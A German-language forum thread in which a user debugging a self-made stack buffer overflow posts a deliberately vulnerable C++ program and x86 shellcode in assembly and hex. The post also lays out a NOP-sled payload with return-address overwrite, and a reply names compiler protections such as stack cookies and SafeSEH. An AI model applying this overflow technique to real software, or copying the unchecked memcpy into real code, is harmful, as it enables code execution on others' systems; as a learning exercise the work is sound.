Bufferoverflow: Einschleusen von Shellcode klappt nur zu 80%

Hallo liebe Leute, ich bins wieder mal ..
Ich habs mir bisher verkniffen, nochmal danach zu fragen, aber irgendwie leuchtet mir die Lösung auf mein Problem, an dem ich schon seit ca 2 Tagen sitze, nicht ein :S

---Sacherläuterung:

Vulernable Code:
Code:
// C++ Syntax
#include <iostream>
#include <windows.h>

using namespace std;

int main(int argc, char* args[])
{
    if (argc < 2) {
        MessageBoxA( 0, "This demo must be started with some parameters", "Information (.Lone.Wolf)", MB_OK | MB_ICONINFORMATION );
        return 0;
    };
    char buf[128];
    ZeroMemory( &buf, sizeof(buf) );
    //strcpy( buf, args[1] );
    memcpy( buf, args[1], strlen(args[1]) );
    printf( "%s", buf );
    MessageBoxA( 0, buf, "Input (.Lone.Wolf)", 0 );
    return 0;
}

Nun habe ich mir ein Shellcode vorbereitet:
Code:
// Delphi(asm) Syntax
asm
  xor  ecx,  ecx
  add  cl,   $60
  sub  esp,  ecx  // damit nichts im Stack überschrieben wird ...
  jmp  @start
  @main:
    // ecx = 0
    // edx = MSG
    // eax = MsgBoxA
    xor  ecx,   ecx
    // imgbse + $4B2C4 (Importtable) = MessageBoxA (user32.dll)
    mov  eax,   ecx
    add  al,    $44
    shl  eax,   $10
    add  ax,    $B2CC
    mov  ecx,   [eax]
    xchg ecx,   eax
    xor  ecx,   ecx
    //MsgBxCall
    pop  edx   // <- Msg
    push ecx
    push ecx
    push edx
    push ecx
    call eax
  @start:
    call @main
  @MSG:
    DB  'Just Exploited ;)', 0
end;

Nun sieht mein Shell ~ so aus:
Code:
31C980C16029CCEB1931C989C80444C1E0106605CCB28B089131C95A51515251FFD0E8E2FFFFFF4A757374204578706C6F69746564203B2901FF22

//als Variable: | Delphi
const
  RawShell =  // 56
    #$31#$C9#$80#$C1#$60#$29#$CC#$EB#$19#$31#$C9#$89#$C8#$04#$44#$C1#$E0#$10 +
    #$66#$05#$CC#$B2#$8B#$08#$91#$31#$C9#$5A#$51#$51#$52#$51#$FF#$D0#$E8#$E2 +
    #$FF#$FF#$FF#$4A#$75#$73#$74#$20#$45#$78#$70#$6C#$6F#$69#$74#$65#$64#$20 +
    #$3B#$29;

Der Stack schaut wie folgt aus:
Buf[128]
Variable[8]
FrameBuffer[4]
RET[4]

Dh. Ich muss den Buffer so überschreiben, dass bei [140] dei Rücksprungsadresse überschrieben wird:
Code:
// Delphisyntax
var
  Shell: String;
..
  Shell := StringOfChar( NOP, 84 ) + RawShell + #$01#$FF#$22;
Die Adresse $22FF01 müsste mitten im Nopland sein!

Weitere Notizen, die ich mir gemacht habe:
Code:
84x 90(NOP):
909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090

83x NOP + Shellcode + RTNAddr (len = 144):
90909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909031C980C16029CCEB1931C989C80444C1E0106605CCB28B089131C95A51515251FFD0E8E2FFFFFF4A757374204578706C6F69746564203B2901FF2200
// Kommt jetzt nicht auf die Idee, das ich die NOPS manuell erstellt habe ;)

---

So, nun zum eigentlichen Problem:
Wenn nich nun die (vulnerable) Anwendung von meiner Anwendung mit dem Parameter Shell starte, passiert nichts. Dazu habe ich nun Olly mit folgendem Parameter aufgerufen -> "<Path to vulnerable C++Program>" "Shell"

Da kann ich schön beobachten, wie der Buffer mit 90 usw befüllt wird, aber ganz am Schluss steht nur ein Teil meines eigentlichen Shellcodes :S DH es wird nicht 100% kopiert bzw RTN Adresse wird somit auch nicht überschrieben :(

Der Shellcode hat keine 00Bytes.

Ich habe mir noch Artikel zu DEP gelesen, aber ...
Mein Shell funktioniert auf dem Stack, wenn ich ihn manuell in Olly einfüge :S
Sicherheitshalber habe ich die vulnerable Anwendung zu den DEP-Ausnahmen hinzugefügt.
Wieder nichts :( Dann habe ich das ganze auf meinem XP-Standrechner ausprobiert(Ich benütze Vista auf meinem Laptop) - Auch nichts :(

PS: Wenn ich die Anwendung mit Shell := StringOfChar('A', 144) starte, wird der Parameter 100% angenommen und überschreibt die Rücksprungsadresse -> somit wäre meine weitere Annahme, dass die Stelle >>Variable[8]<< schreibgeschützt ist, fürn Hugo.

Ich bin schon am verzweifeln. Ich hoffe, dass mir irgendwer helfen kann.

EDIT -> UPS .. HAB DOCH N 00 Byte GEFUNDEN .. MIST ... MOM.
EDIT2 -> OK. Nun hab ichs ausgebessert; der Fehler ist aber trotzdem noch nicht weg :(

MfG
 
Womit hast du es kompiliert, es gibt naemlich noch mehr Schutzmaßnahmen außer DEP, zb Stack cookies, variable reordering, SafeSEH... der MS-Compiler hat die meisten per default an.
 
Zurück
Oben